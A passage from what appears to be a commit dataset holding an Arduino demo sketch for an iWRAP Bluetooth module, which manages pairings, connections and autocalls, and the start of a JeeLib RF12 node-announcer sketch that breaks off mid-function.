OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ iWRAP firmware should be v5.0.2 (build 861 or higher)\n\/\/ Config settings may vary, but ideally you will at least enable a few\n\/\/ special config bits and MUX mode with the following commands:\n\/\/\n\/\/ SET CONTROL CONFIG 3400 0040 70A1\n\/\/ SET CONTROL MUX 1\n\/\/\n\/\/ See the iWRAP User Guide from Bluegiga for more detail. The following\n\/\/ pre-built MUX frames can be handy for changing various settings, e.g.\n\/\/ using an app like Realterm with the \"Send\" tab and \"Send Numbers\"\n\/\/ button to send a hex string while the module is configured with MUX\n\/\/ mode enabled:\n\/\/\n\/\/ MUX frame for \"SET CONTROL MUX 0\" (disable MUX mode):\n\/\/ $bf $ff $00 $17 $53 $45 $54 $20 $43 $4f $4e $54 $52 $4f $4c $20 $4d $55 $58 $20 $30 $00\n\/\/ MUX frame for \"SET CONTROL BAUD 38400\":\n\/\/ $bf $ff $00 $16 $53 $45 $54 $20 $43 $4f $4e $54 $52 $4f $4c $20 $42 $41 $55 $44 $20 $33 $38 $34 $30 $30 $00\n\/\/ MUX frame for \"SET CONTROL BAUD 115200\":\n\/\/ $bf $ff $00 $17 $53 $45 $54 $20 $43 $4f $4e $54 $52 $4f $4c $20 $42 $41 $55 $44 $20 $31 $31 $35 $32 $30 $30 $00\n\n#include <Arduino.h>\n\/\/#include <avr\/pgmspace.h>\n\n#define PLATFORM_ARDUINO_UNO \/\/ also Pro Mini and other ATMega328-based boards\n\/\/#define PLATFORM_TEENSY2 \/\/ both Teensy 2.0 and Teensy++ 2.0\n\n#ifdef PLATFORM_ARDUINO_UNO\n #include <AltSoftSerial.h>\n AltSoftSerial mySerial; \/\/ RX=8, TX=9\n#endif\n\n#define HOST_BAUD 38400 \/\/ works with 8MHz CPU clock\n#define IWRAP_BAUD 38400 \/\/ works with 8MHz CPU clock (REQUIRES iWRAP RECONFIGURATION, DEFAULT IS 115200)\n#define MODULE_RESET_PIN 12 \/\/ optional connection for MCU-based module reset\n\n\/\/ -------- iWRAP configuration definitions --------\n\/\/ COPY TO TOP OF \"iWRAP.h\" TO APPLY TO THIS PROGRAM\n\/\/ OR ELSE ALL FEATURES ENABLED DUE TO BUILD SYSTEM\n\/\/ -------------------------------------------------\n#define IWRAP_DEBUG\n#define IWRAP_INCLUDE_RSP_CALL\n#define IWRAP_INCLUDE_RSP_LIST_COUNT\n#define IWRAP_INCLUDE_RSP_LIST_RESULT\n#define IWRAP_INCLUDE_RSP_SET\n#define IWRAP_INCLUDE_EVT_CONNECT\n#define IWRAP_INCLUDE_EVT_NO_CARRIER\n#define IWRAP_INCLUDE_EVT_PAIR\n#define IWRAP_INCLUDE_EVT_READY\n#define IWRAP_INCLUDE_EVT_RING\n#define IWRAP_CONFIGURED\n\/\/ -------------------------------------------------\n\n#include <iWRAP.h>\n\n#define IWRAP_STATE_IDLE 0\n#define IWRAP_STATE_UNKNOWN 1\n#define IWRAP_STATE_PENDING_AT 2\n#define IWRAP_STATE_PENDING_SET 3\n#define IWRAP_STATE_PENDING_LIST 4\n#define IWRAP_STATE_PENDING_CALL 5\n#define IWRAP_STATE_COMM_FAILED 255\n\n#define IWRAP_MAX_PAIRINGS 16\n\n\/\/ connection map structure\ntypedef struct {\n iwrap_address_t mac;\n uint8_t active_links;\n uint8_t link_a2dp1;\n uint8_t link_a2dp2;\n uint8_t link_avrcp;\n uint8_t link_hfp;\n uint8_t link_hfpag;\n uint8_t link_hid_control;\n uint8_t link_hid_interrupt;\n uint8_t link_hsp;\n uint8_t link_hspag;\n uint8_t link_iap;\n uint8_t link_sco;\n uint8_t link_spp;\n \/\/ other profile-specific link IDs may be added here\n} iwrap_connection_t;\niwrap_connection_t *iwrap_connection_map[IWRAP_MAX_PAIRINGS];\n\n\/\/ iwrap state tracking info\nuint8_t iwrap_mode = IWRAP_MODE_MUX;\nuint8_t iwrap_state = IWRAP_STATE_UNKNOWN;\nuint8_t iwrap_initialized = 0;\nuint32_t iwrap_time_ref = 0;\nuint8_t iwrap_pairings = 0;\nuint8_t iwrap_pending_calls = 0;\nuint8_t iwrap_pending_call_link_id = 0xFF;\nuint8_t iwrap_connected_devices = 0;\nuint8_t iwrap_active_connections = 0;\nuint8_t iwrap_autocall_target = 0;\nuint16_t iwrap_autocall_delay_ms = 10000;\nuint32_t iwrap_autocall_last_time = 0;\nuint8_t iwrap_autocall_index = 0;\n\n\/\/ iWRAP callbacks necessary for application\nvoid my_iwrap_rsp_call(uint8_t link_id);\nvoid my_iwrap_rsp_list_count(uint8_t num_of_connections);\nvoid my_iwrap_rsp_list_result(uint8_t link_id, const char *mode, uint16_t blocksize, uint32_t elapsed_time, uint16_t local_msc, uint16_t remote_msc, const iwrap_address_t *addr, uint16_t channel, uint8_t direction, uint8_t powermode, uint8_t role, uint8_t crypt, uint16_t buffer, uint8_t eretx);\nvoid my_iwrap_rsp_set(uint8_t category, const char *option, const char *value);\nvoid my_iwrap_evt_connect(uint8_t link_id, const char *type, uint16_t target, const iwrap_address_t *address);\nvoid my_iwrap_evt_no_carrier(uint8_t link_id, uint16_t error_code, const char *message);\nvoid my_iwrap_evt_pair(const iwrap_address_t *address, uint8_t key_type, const uint8_t *link_key);\nvoid my_iwrap_evt_ready();\nvoid my_iwrap_evt_ring(uint8_t link_id, const iwrap_address_t *address, uint16_t channel, const char *profile);\n\n\/\/ general helper functions\nuint8_t find_pairing_from_mac(const iwrap_address_t *mac);\nuint8_t find_pairing_from_link_id(uint8_t link_id);\nvoid add_mapped_connection(uint8_t link_id, const iwrap_address_t *addr, const char *mode, uint16_t channel);\nuint8_t remove_mapped_connection(uint8_t link_id);\nvoid print_connection_map();\nvoid print_demo_menu();\nvoid process_demo_choice(char b);\n\n\/\/ platform-specific helper functions\nint serial_out(const char *str);\nint serial_out(const __FlashStringHelper *str);\nint iwrap_out(int len, unsigned char *data);\n\nvoid setup() {\n #if defined(PLATFORM_ARDUINO_UNO)\n \/\/ open the hardware serial port for debug\/status output and software serial for iWRAP\n Serial.begin(HOST_BAUD);\n mySerial.begin(IWRAP_BAUD);\n #elif defined(PLATFORM_TEENSY2)\n \/\/ open the USB serial port for debug\/status output and Serial1 for iWRAP\n Serial.begin(HOST_BAUD);\n Serial1.begin(IWRAP_BAUD);\n #else\n #error Select a supported platform, or add support for your own\n #endif\n \n \/\/ setup optional hardware reset pin connection (digital pin 9)\n digitalWrite(MODULE_RESET_PIN, LOW);\n pinMode(MODULE_RESET_PIN, OUTPUT);\n\n \/\/ assign transport\/debug output\n iwrap_output = iwrap_out;\n #ifdef IWRAP_DEBUG\n iwrap_debug = serial_out;\n #endif \/* IWRAP_DEBUG *\/\n \n \/\/ assign event callbacks\n iwrap_rsp_call = my_iwrap_rsp_call;\n iwrap_rsp_list_count = my_iwrap_rsp_list_count;\n iwrap_rsp_list_result = my_iwrap_rsp_list_result;\n iwrap_rsp_set = my_iwrap_rsp_set;\n iwrap_evt_connect = my_iwrap_evt_connect;\n iwrap_evt_no_carrier = my_iwrap_evt_no_carrier;\n iwrap_evt_pair = my_iwrap_evt_pair;\n iwrap_evt_ready = my_iwrap_evt_ready;\n iwrap_evt_ring = my_iwrap_evt_ring;\n \n \/\/ boot message to host\n serial_out(F(\"iWRAP host library generic demo started\\n\"));\n}\n\nvoid loop() {\n uint16_t result;\n\n \/\/ manage iWRAP state machine\n if (!iwrap_pending_commands) {\n \/\/ no pending commands, some state transition occurring\n if (iwrap_state) {\n \/\/ not idle, in the middle of some process\n if (iwrap_state == IWRAP_STATE_UNKNOWN) {\n \/\/ reset all detailed state trackers\n iwrap_initialized = 0;\n iwrap_pairings = 0;\n iwrap_pending_calls = 0;\n iwrap_pending_call_link_id = 0xFF;\n iwrap_connected_devices = 0;\n iwrap_active_connections = 0;\n \n \/\/ send command to test module connectivity\n serial_out(F(\"Testing iWRAP communication...\\n\"));\n iwrap_send_command(\"AT\", iwrap_mode);\n iwrap_state = IWRAP_STATE_PENDING_AT;\n\n \/\/ initialize time reference for connectivity test timeout\n iwrap_time_ref = millis();\n } else if (iwrap_state == IWRAP_STATE_PENDING_AT) {\n \/\/ send command to dump all module settings and pairings\n serial_out(F(\"Getting iWRAP settings...\\n\"));\n iwrap_send_command(\"SET\", iwrap_mode);\n iwrap_state = IWRAP_STATE_PENDING_SET;\n } else if (iwrap_state == IWRAP_STATE_PENDING_SET) {\n \/\/ send command to show all current connections\n serial_out(F(\"Getting active connection list...\\n\"));\n iwrap_send_command(\"LIST\", iwrap_mode);\n iwrap_state = IWRAP_STATE_PENDING_LIST;\n } else if (iwrap_state == IWRAP_STATE_PENDING_LIST) {\n \/\/ all done!\n if (!iwrap_initialized) {\n iwrap_initialized = 1;\n serial_out(F(\"iWRAP initialization complete\\n\"));\n }\n print_connection_map();\n print_demo_menu();\n iwrap_state = IWRAP_STATE_IDLE;\n } else if (iwrap_state == IWRAP_STATE_PENDING_CALL && !iwrap_pending_calls) {\n \/\/ all done!\n serial_out(F(\"Pending call processed\\n\"));\n iwrap_state = IWRAP_STATE_IDLE;\n }\n } else if (iwrap_initialized) {\n \/\/ idle\n if (iwrap_pairings && iwrap_autocall_target > iwrap_connected_devices && !iwrap_pending_calls\n && (!iwrap_autocall_last_time || (millis() - iwrap_autocall_last_time) >= iwrap_autocall_delay_ms)) {\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 19 A2DP\"; \/\/ A2DP\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 17 AVRCP\"; \/\/ AVRCP\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 111F HFP\"; \/\/ HFP\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 111E HFP-AG\"; \/\/ HFP-AG\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 11 HID\"; \/\/ HID\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 1112 HSP\"; \/\/ HSP\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 1108 HSP-AG\"; \/\/ HSP-AG\n \/\/char cmd[] = \"CALL AA:BB:CC:DD:EE:FF * IAP\"; \/\/ IAP\n char cmd[] = \"CALL AA:BB:CC:DD:EE:FF 1101 RFCOMM\"; \/\/ SPP\n char *cptr = cmd + 5;\n \n \/\/ find first unconnected device\n for (; iwrap_connection_map[iwrap_autocall_index] -> active_links; iwrap_autocall_index++);\n \n \/\/ write MAC string into call command buffer and send it\n iwrap_bintohexstr((uint8_t *)(iwrap_connection_map[iwrap_autocall_index] -> mac.address), 6, &cptr, ':', 0);\n char s[21];\n sprintf(s, \"Calling device #%d\\r\\n\", iwrap_autocall_index);\n serial_out(s);\n iwrap_send_command(cmd, iwrap_mode);\n iwrap_autocall_last_time = millis();\n }\n }\n }\n \n \/\/ check for incoming iWRAP data\n #if defined(PLATFORM_ARDUINO_UNO)\n if ((result = mySerial.read()) < 256) iwrap_parse(result & 0xFF, iwrap_mode);\n #elif defined(PLATFORM_TEENSY2)\n if ((result = Serial1.read()) < 256) iwrap_parse(result & 0xFF, iwrap_mode);\n #endif\n \n \/\/ check for timeout if still testing communication\n if (!iwrap_initialized && iwrap_state == IWRAP_STATE_PENDING_AT) {\n if (millis() - iwrap_time_ref > 5000) {\n serial_out(F(\"ERROR: Could not communicate with iWRAP module\\n\"));\n iwrap_state = IWRAP_STATE_COMM_FAILED;\n iwrap_pending_commands = 0; \/\/ normally handled by the parser, but comms failed\n }\n }\n\n \/\/ check for incoming host data\n #if defined(PLATFORM_ARDUINO_UNO)\n if ((result = Serial.read()) < 256)\n #elif defined(PLATFORM_TEENSY2)\n if ((result = Serial.read()) < 256)\n #endif\n {\n process_demo_choice(result & 0xFF);\n }\n}\n\n\/* ============================================================================\n * IWRAP RESPONSE AND EVENT HANDLER IMPLEMENTATIONS\n * ========================================================================= *\/\n\nvoid my_iwrap_rsp_call(uint8_t link_id) {\n iwrap_pending_calls++;\n iwrap_pending_call_link_id = link_id;\n iwrap_autocall_index = (iwrap_autocall_index + 1) % iwrap_pairings;\n iwrap_state = IWRAP_STATE_PENDING_CALL;\n}\n\nvoid my_iwrap_rsp_list_count(uint8_t num_of_connections) {\n iwrap_active_connections = num_of_connections;\n}\n\nvoid my_iwrap_rsp_list_result(uint8_t link_id, const char *mode, uint16_t blocksize, uint32_t elapsed_time, uint16_t local_msc, uint16_t remote_msc, const iwrap_address_t *addr, uint16_t channel, uint8_t direction, uint8_t powermode, uint8_t role, uint8_t crypt, uint16_t buffer, uint8_t eretx) {\n add_mapped_connection(link_id, addr, mode, channel);\n}\n\nvoid my_iwrap_rsp_set(uint8_t category, const char *option, const char *value) {\n if (category == IWRAP_SET_CATEGORY_BT) {\n if (strncmp((char *)option, \"BDADDR\", 6) == 0) {\n iwrap_address_t local_mac;\n iwrap_hexstrtobin((char *)value, 0, local_mac.address, 0);\n char *local_mac_str = (char *)malloc(18);\n if (local_mac_str) {\n iwrap_bintohexstr(local_mac.address, 6, &local_mac_str, ':', 1);\n serial_out(F(\":: Module MAC is \"));\n serial_out(local_mac_str);\n serial_out(F(\"\\n\"));\n free(local_mac_str);\n }\n } else if (strncmp((char *)option, \"NAME\", 4) == 0) {\n serial_out(F(\":: Friendly name is \"));\n serial_out(value);\n serial_out(F(\"\\n\"));\n } else if (strncmp((char *)option, \"PAIR\", 4) == 0) {\n iwrap_address_t remote_mac;\n iwrap_hexstrtobin((char *)value, 0, remote_mac.address, 0);\n \n \/\/ make sure we allocate memory for the connection map entry\n if (iwrap_connection_map[iwrap_pairings] == 0) {\n iwrap_connection_map[iwrap_pairings] = (iwrap_connection_t *)malloc(sizeof(iwrap_connection_t));\n }\n memset(iwrap_connection_map[iwrap_pairings], 0xFF, sizeof(iwrap_connection_t)); \/\/ 0xFF is \"no link ID\"\n memcpy(&(iwrap_connection_map[iwrap_pairings] -> mac), &remote_mac, sizeof(iwrap_address_t));\n iwrap_connection_map[iwrap_pairings] -> active_links = 0;\n iwrap_pairings++;\n \n char *remote_mac_str = (char *)malloc(18);\n if (remote_mac_str) {\n iwrap_bintohexstr(remote_mac.address, 6, &remote_mac_str, ':', 1);\n serial_out(F(\":: Pairing (MAC=\"));\n serial_out(remote_mac_str);\n serial_out(F(\", key=\"));\n serial_out(value + 18);\n serial_out(F(\")\\n\"));\n free(remote_mac_str);\n }\n }\n }\n}\n\nvoid my_iwrap_evt_connect(uint8_t link_id, const char *type, uint16_t target, const iwrap_address_t *address) {\n if (iwrap_pending_call_link_id == link_id) {\n if (iwrap_pending_calls) iwrap_pending_calls--;\n if (iwrap_state == IWRAP_STATE_PENDING_CALL) iwrap_state = IWRAP_STATE_IDLE;\n iwrap_pending_call_link_id = 0xFF;\n }\n iwrap_active_connections++;\n add_mapped_connection(link_id, address, type, target);\n print_connection_map();\n}\n\nvoid my_iwrap_evt_no_carrier(uint8_t link_id, uint16_t error_code, const char *message) {\n if (iwrap_pending_call_link_id == link_id) {\n if (iwrap_pending_calls) iwrap_pending_calls--;\n if (iwrap_state == IWRAP_STATE_PENDING_CALL) iwrap_state = IWRAP_STATE_IDLE;\n iwrap_pending_call_link_id = 0xFF;\n }\n if (remove_mapped_connection(link_id) != 0xFF) {\n \/\/ only update and reprint if the connection was already mapped\n \/\/ (i.e. not already closed or a failed outgoing connection attempt)\n if (iwrap_active_connections) iwrap_active_connections--;\n print_connection_map();\n }\n}\n\nvoid my_iwrap_evt_pair(const iwrap_address_t *address, uint8_t key_type, const uint8_t *link_key) {\n \/\/ request pair list again (could be a new pair, or updated pair, or new + overwritten pair)\n iwrap_send_command(\"SET BT PAIR\", iwrap_mode);\n iwrap_state = IWRAP_STATE_PENDING_SET;\n}\n\nvoid my_iwrap_evt_ready() {\n iwrap_state = IWRAP_STATE_UNKNOWN;\n}\n\nvoid my_iwrap_evt_ring(uint8_t link_id, const iwrap_address_t *address, uint16_t channel, const char *profile) {\n add_mapped_connection(link_id, address, profile, channel);\n print_connection_map();\n}\n\n\/* ============================================================================\n * GENERAL HELPER FUNCTIONS\n * ========================================================================= *\/\n\nuint8_t find_pairing_from_mac(const iwrap_address_t *mac) {\n uint8_t i;\n for (i = 0; i < iwrap_pairings; i++) {\n if (memcmp(&(iwrap_connection_map[i] -> mac), mac, sizeof(iwrap_address_t)) == 0) return i;\n }\n return i >= iwrap_pairings ? 0xFF : i;\n}\n\nuint8_t find_pairing_from_link_id(uint8_t link_id) {\n \/\/ NOTE: This implementation walks through the iwrap_connection_t struct memory\n \/\/ starting at the first link ID (A2DP #1) and going all the way to the end (if\n \/\/ necessary). This means it is contingent on the structure keeping this memory\n \/\/ arrangement, where the last set of whatever is contained there is always the\n \/\/ set of link IDs.\n \n uint8_t i, j, *idptr;\n for (i = 0; i < iwrap_pairings; i++) {\n idptr = &(iwrap_connection_map[i] -> link_a2dp1);\n for (j = 6; j < sizeof(iwrap_connection_t); j++, idptr++) if (idptr[0] == link_id) return i;\n }\n return 0xFF;\n}\n\nvoid add_mapped_connection(uint8_t link_id, const iwrap_address_t *addr, const char *mode, uint16_t channel) {\n uint8_t pairing_index = find_pairing_from_mac(addr);\n\n \/\/ make sure we found a match (we SHOULD always match something, if we properly parsed the pairing data first)\n if (pairing_index == 0xFF) return; \/\/ uh oh\n\n \/\/ updated connected device count and overall active link count for this device\n if (!iwrap_connection_map[pairing_index] -> active_links) iwrap_connected_devices++;\n iwrap_connection_map[pairing_index] -> active_links++;\n\n \/\/ add link ID to connection map\n if (strcmp(mode, \"A2DP\") == 0) {\n if (iwrap_connection_map[pairing_index] -> link_a2dp1 == 0xFF) {\n iwrap_connection_map[pairing_index] -> link_a2dp1 = link_id;\n } else {\n iwrap_connection_map[pairing_index] -> link_a2dp2 = link_id;\n }\n } else if (strcmp(mode, \"AVRCP\") == 0) {\n iwrap_connection_map[pairing_index] -> link_avrcp = link_id;\n } else if (strcmp(mode, \"HFP\") == 0) {\n iwrap_connection_map[pairing_index] -> link_hfp = link_id;\n } else if (strcmp(mode, \"HFPAG\") == 0) {\n iwrap_connection_map[pairing_index] -> link_hfpag = link_id;\n } else if (strcmp(mode, \"HID\") == 0) {\n if (channel == 0x11) {\n iwrap_connection_map[pairing_index] -> link_hid_control = link_id;\n } else {\n iwrap_connection_map[pairing_index] -> link_hid_interrupt = link_id;\n }\n } else if (strcmp(mode, \"HSP\") == 0) {\n iwrap_connection_map[pairing_index] -> link_hsp = link_id;\n } else if (strcmp(mode, \"HSPAG\") == 0) {\n iwrap_connection_map[pairing_index] -> link_hspag = link_id;\n } else if (strcmp(mode, \"IAP\") == 0) {\n iwrap_connection_map[pairing_index] -> link_iap = link_id;\n } else if (strcmp(mode, \"RFCOMM\") == 0) {\n \/\/ probably SPP, possibly other RFCOMM-based connections\n if (channel == 1) {\n iwrap_connection_map[pairing_index] -> link_spp = link_id;\n \/\/} else {\n \/\/printf(\"RFCOMM link on channel %d, profile unknown\\n\", channel);\n }\n }\n}\n\nuint8_t remove_mapped_connection(uint8_t link_id) {\n uint8_t i;\n for (i = 0; i < iwrap_pairings; i++) {\n if (iwrap_connection_map[i] -> link_a2dp1 == link_id) { iwrap_connection_map[i] -> link_a2dp1 = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_a2dp2 == link_id) { iwrap_connection_map[i] -> link_a2dp2 = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_avrcp == link_id) { iwrap_connection_map[i] -> link_avrcp = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hfp == link_id) { iwrap_connection_map[i] -> link_hfp = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hfpag == link_id) { iwrap_connection_map[i] -> link_hfpag = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hid_control == link_id) { iwrap_connection_map[i] -> link_hid_control = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hid_interrupt == link_id) { iwrap_connection_map[i] -> link_hid_interrupt = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hsp == link_id) { iwrap_connection_map[i] -> link_hsp = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_hspag == link_id) { iwrap_connection_map[i] -> link_hspag = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_iap == link_id) { iwrap_connection_map[i] -> link_iap = 0xFF; break; }\n if (iwrap_connection_map[i] -> link_spp == link_id) { iwrap_connection_map[i] -> link_spp = 0xFF; break; }\n }\n \n \/\/ check to make sure we found the link ID in the map\n if (i < iwrap_pairings) {\n \/\/ updated connected device count and overall active link count for this device\n if (iwrap_connection_map[i] -> active_links) {\n iwrap_connection_map[i] -> active_links--;\n if (!iwrap_connection_map[i] -> active_links) iwrap_connected_devices--;\n }\n return i;\n }\n \n \/\/ not found, return 0xFF\n return 0xFF;\n}\n\n\/* ============================================================================\n * PLATFORM-SPECIFIC HELPER FUNCTIONS\n * ========================================================================= *\/\n\n#if defined(PLATFORM_ARDUINO_UNO)\n int serial_out(const char *str) {\n \/\/ debug output to host goes through hardware serial\n return Serial.print(str);\n }\n int serial_out(const __FlashStringHelper *str) {\n \/\/ debug output to host goes through hardware serial\n return Serial.print(str);\n }\n int iwrap_out(int len, unsigned char *data) {\n \/\/ iWRAP output to module goes through software serial\n return mySerial.write(data, len);\n }\n#elif defined(PLATFORM_TEENSY2)\n int serial_out(const char *str) {\n \/\/ debug output to host goes through Serial (USB)\n return Serial.print(str);\n }\n int serial_out(const __FlashStringHelper *str) {\n \/\/ debug output to host goes through Serial (USB)\n return Serial.print(str);\n }\n int iwrap_out(int len, unsigned char *data) {\n \/\/ iWRAP output to module goes through Serial1 (hardware UART)\n return Serial1.write(data, len);\n }\n#endif\n \nvoid print_connection_map() {\n char s[100];\n serial_out(F(\"==============================================================================\\n\"));\n sprintf(s, \"Connection map (%d pairings, %d connected devices, %d total connections)\\n\", iwrap_pairings, iwrap_connected_devices, iwrap_active_connections);\n serial_out(s);\n serial_out(F(\"--------+-------+-------+-----+-------+-------+-----+-------+-----+-----+-----\\n\"));\n serial_out(F(\"Device\\t| A2DP | AVRCP | HFP | HFPAG | HID | HSP | HSPAG | IAP | SCO | SPP\\n\"));\n serial_out(F(\"--------+-------+-------+-----+-------+-------+-----+-------+-----+-----+-----\\n\"));\n uint8_t i;\n for (i = 0; i < iwrap_pairings; i++) {\n sprintf(s, \"#%d (%d)\\t| %2d\/%2d | %2d | %2d | %2d | %2d\/%2d | %2d | %2d | %2d | %2d | %2d\\n\", i, iwrap_connection_map[i] -> active_links,\n (int8_t)iwrap_connection_map[i] -> link_a2dp1,\n (int8_t)iwrap_connection_map[i] -> link_a2dp2,\n (int8_t)iwrap_connection_map[i] -> link_avrcp,\n (int8_t)iwrap_connection_map[i] -> link_hfp,\n (int8_t)iwrap_connection_map[i] -> link_hfpag,\n (int8_t)iwrap_connection_map[i] -> link_hid_control,\n (int8_t)iwrap_connection_map[i] -> link_hid_interrupt,\n (int8_t)iwrap_connection_map[i] -> link_hsp,\n (int8_t)iwrap_connection_map[i] -> link_hspag,\n (int8_t)iwrap_connection_map[i] -> link_iap,\n (int8_t)iwrap_connection_map[i] -> link_sco,\n (int8_t)iwrap_connection_map[i] -> link_spp\n );\n serial_out(s);\n }\n serial_out(F(\"--------+-------+-------+-----+-------+-------+-----+-------+-----+-----+-----\\n\"));\n}\n\nvoid print_demo_menu() {\n serial_out(F(\"iWRAP generic demo menu\\n\"));\n serial_out(F(\"============================================================\\n\"));\n serial_out(F(\"0: Reset module (pulses iWRAP module RESET pin high for 5ms)\\n\"));\n serial_out(F(\"1: Toggle round-robin autocall algorithm on or off\\n\"));\n serial_out(F(\"2: Make module discoverable and connectable (SET BT PAGE 3)\\n\"));\n serial_out(F(\"3: Make module undiscoverable, but connectable (SET BT PAGE 2)\\n\"));\n serial_out(F(\"4: Make module undiscoverable and unconnectable (SET BT PAGE 0)\\n\"));\n}\n\nvoid process_demo_choice(char b) {\n \/\/ check for RESET command (\"0\")\n if (b == '0') {\n serial_out(\"=> (0) Performing hardware reset on iWRAP module\\n\\n\");\n digitalWrite(MODULE_RESET_PIN, HIGH);\n delay(5);\n digitalWrite(MODULE_RESET_PIN, LOW);\n iwrap_pending_commands = 0; \/\/ normally handled by the parser, but this is a hard reset\n } else if (b == '1') {\n if (iwrap_autocall_target) {\n serial_out(\"=> (1) Disabling round-robin autocall algorithm\\n\\n\");\n iwrap_autocall_target = 0;\n } else {\n serial_out(\"=> (1) Enabling round-robin autocall algorithm\\n\\n\");\n iwrap_autocall_target = 1;\n }\n } else if (b == '2') {\n serial_out(\"=> (2) Setting page mode to 3 (discoverable and connectable)\\n\\n\");\n iwrap_send_command(\"SET BT PAGEMODE 3\", iwrap_mode);\n } else if (b == '3') {\n serial_out(\"=> (3) Setting page mode to 2 (undiscoverable, but connectable)\\n\\n\");\n iwrap_send_command(\"SET BT PAGEMODE 2\", iwrap_mode);\n } else if (b == '4') {\n serial_out(\"=> (4) Setting page mode to 0 (undiscoverable and unconnectable)\\n\\n\");\n iwrap_send_command(\"SET BT PAGEMODE 0\", iwrap_mode);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino-bluetooth\/iWRAP_demo_uno\/iWRAP_demo_uno.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22914a490dd0068bbce4ae8e477a618bb0382570","subject":"add announcer sketch","message":"add announcer sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/announcer\/announcer.ino","new_file":"examples\/RF12\/announcer\/announcer.ino","new_contents":"\/\/\/ @dir announcer\n\/\/\/ Test sketch to send out \"announcer\" type management packets.\n\/\/\/ @see http:\/\/jeelabs.org\/2013\/01\/16\/remote-node-discovery-code\/\n\/\/ 2013-01-15 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n\n#define MINUTES 1 \/\/ send out new announcement packets this often, cyclic\n#define DEBUG 1 \/\/ send quickly, and to serial port instead of wireless\n\n#define SKETCH_roomNode 11\n#define SKETCH_ookRelay2 12\n#define SKETCH_smaRelay 13\n#define SKETCH_otRelay 14\n#define SKETCH_p1scanner 15\n#define SKETCH_homePower 16\n#define SKETCH_radioBlip 17\n\ntypedef struct {\n byte nodeId;\n word sketchId;\n byte *items, size;\n} NodeInfo;\n\nMilliTimer minuteTimer;\nbyte nextSend, seqNum;\nbyte sendBuf[RF12_MAXDATA];\n\nbyte items_roomNode_v2[] = {\n 0x01-1, 2, \/\/ version 2\n 0x25-1, 8, 1, 7, -10, 1, \/\/ fields are 5 packed bit groups\n};\n\nbyte items_homePower_v1[] = {\n 0x01-1, 1, \/\/ version 1\n 0x26-1, 16, 16, 16, 16, 16, 16, \/\/ fields are 6x 16-bit ints\n};\n\nbyte items_radioBlip_v1[] = {\n 0x01-1, 1, \/\/ version 1\n 0x21-1, 32, \/\/ field is one 32-bit int\n};\n\nbyte items_otRelay_v1[] = {\n 0x01-1, 1, \/\/ version 1\n 0x22-1, 8, 16, \/\/ fields are 2 ints\n};\n\nbyte items_smaRelay_v1[] = {\n 0x01-1, 1, \/\/ version 1\n 0x27-1, 16, 16, 16, 16, 16, 16, 16, \/\/ fields are 7x 16-bit ints\n};\n\n#define NUM_NODES (sizeof nodeInfo \/ sizeof (NodeInfo))\n\nNodeInfo nodeInfo[] = {\n { 2, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 3, SKETCH_radioBlip, items_radioBlip_v1, sizeof items_radioBlip_v1 },\n { 4, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 5, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 6, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 9, SKETCH_homePower, items_homePower_v1, sizeof items_homePower_v1 },\n { 10, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 11, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 12, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 13, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 14, SKETCH_otRelay, items_otRelay_v1, sizeof items_otRelay_v1 },\n { 15, SKETCH_smaRelay, items_smaRelay_v1, sizeof items_smaRelay_v1 },\n { 23, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n { 24, SKETCH_roomNode, items_roomNode_v2, sizeof items_roomNode_v2 },\n};\n\nstatic void sendAnnouncement (byte index) {\n NodeInfo *nip = &nodeInfo[index];\n \/\/ construct header according to the \"standard\" management packet format\n \/\/ see http:\/\/jeelabs.org\/2013\/01\/15\/remote-node-discovery-part-2\/\n sendBuf[0] = (1 << 5) | nip->nodeId;\n sendBuf[1] = ++seqNum;\n sendBuf[2] = nip->sketchId;\n sendBuf[3] = nip->sketchId >> 8;\n \/\/ append item data with specific node packet details\n memcpy(sendBuf + 4, nip->items, nip->size);\n byte bytes = 4 + nip->size;\n\n#if !DEBUG\n while (!rf12_canSend())\n rf12_recvDone();\n \/\/ special management packet, sent as special \"packet to node 0\"\n rf12_sendStart(RF12_HDR_DST, sendBuf, bytes);\n#endif\n \n Serial.print(index);\n Serial.print(':');\n for (byte i = 0; i < 4 + nip->size; ++i) {\n Serial.print(' ');\n Serial.print(sendBuf[i] >> 4, HEX);\n Serial.print(sendBuf[i] & 0x0F, HEX);\n }\n Serial.println();\n}\n\nvoid setup () {\n Serial.begin(57600);\n Serial.println(\"\\n[announcer]\");\n#if !DEBUG\n rf12_initialize(1, RF12_868MHZ, 5);\n#endif\n}\n\nvoid loop () {\n if 